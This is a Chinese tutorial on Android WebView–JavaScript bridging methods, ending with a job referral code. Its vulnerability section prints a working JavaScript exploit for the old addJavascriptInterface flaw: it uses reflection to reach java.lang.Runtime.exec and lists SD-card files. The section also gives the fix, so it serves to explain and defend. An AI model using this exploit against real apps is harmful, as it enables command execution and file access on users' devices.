1.简介
在使用webView的时候,免不了要与原生进行交互,比如打开键盘,获取设备信息。这时候Android与Js的交互就显得尤为重要。下面就介绍一下5中基本交互方式。
参考资料:Android与JS交互
2.Android与Js的5种基本交互方式
1)Anroid调用Js的2种方式
2.1.1)loadUrl(String url):
Android中:
webView.loadUrl("javascript:androidCallJs('我是android传递的参数')")
Js中:
这是webView最基本的用法,添加javascript:前缀来调用Js中的方法
2.1.2)evaluateJavascript(String script, ValueCallback
Android中:
webView.evaluateJavascript("javascript:androidCallJsWithReturn('我是参数')", object : ValueCallback{
override fun onReceiveValue(p0: String?) {
tv_js_return.text = p0
}
})
Js中:
Android4.4(api19)提供的函数,在调用Js函数并获取函数的返回值。注意在:获取返回值的过程是异步的。
2)Js调用Android的3种方式
2.2.1)onJsPrompt()
Android中:
class JSBridgeWebChromeClient : WebChromeClient(){
override fun onJsPrompt(
view: WebView?, url: String?, message: String?, defaultValue: String?, result: JsPromptResult?): Boolean {
// do something
return super.onJsPrompt(view, url, message, defaultValue, result)
}
}
Js中:
通过prompt通道进行通信,Android中需要重写onJsPrompt()方法来写自己的处理逻辑。
2.2.2)shouldOverrideUrlLoading(view: WebView?, url:String?): Boolean
Android中:
webView.webViewClient = object :WebViewClient(){
@RequiresApi(Build.VERSION_CODES.KITKAT)
override fun shouldOverrideUrlLoading(view: WebView?, url:String?): Boolean {
if (url == null) {
return false
}
if (!url.startsWith("jsbridge")) {
return false
}
view?.loadUrl("javascript:androidCallJs('android已经接收到')")
return true
}
}
Js中:
Js发起一个页面跳转请求,在Android中进行拦截。在shouldOverrideUrlLoading()中对Url进行判断。
如果是提前约定好的协议规范,则拦截下来通过自己的逻辑处理,同时可以通过loadUrl()调用一个Js函数通知Js,返回true表示已经处理。
如果不是,则返回false,走正常的跳转逻辑。
2.2.3)addJavascriptInterface(Object object, String name)
Android中:
class AndroidToJs{
@JavascriptInterface
fun hello(msg:String){
System.out.println(msg)
}
}
// 在WebView所在类中:
webView.addJavascriptInterface(AndroidToJs(), "app")
Js中:
2.2.4)addJavascriptInterface()的漏洞:
(1)影响对象:
<4.2版本Android系统的对象 和 ≥4.2但App中函数没加@JavascriptInterface的对象
(2)漏洞执行恶意代码的原理:
JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如exec()执行控制台指令访问文件
(3)核心Js代码如下:
function execute(cmdArgs)
{
for (var obj in window) {
console.log(obj);
if ("getClass" in window[obj]) {
alert(obj);
return window[obj].getClass().forName("java.lang.Runtime").
getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
}
}
var p = execute(["ls","/mnt/sdcard/"]);
(4)解决:
在Android4.2以及之后版本,为向Js提供的函数名添加@JavascriptInterface注释
参考资料:https://blog.csdn.net/leehong2005/article/details/11808557
3.JsBridge的封装思路
已有许多对JsBeidge的封装框架可以借鉴,在对业务逻辑进行封装时,可以参考下面的一些思想:
1.Android JsBridge 源码解析
4.结束
又到秋招时节了,最后附上我的内推码和投递链接:
内推码:UDXTM7B
投递链接:https://job.toutiao.com/campus/
欢迎大家投递。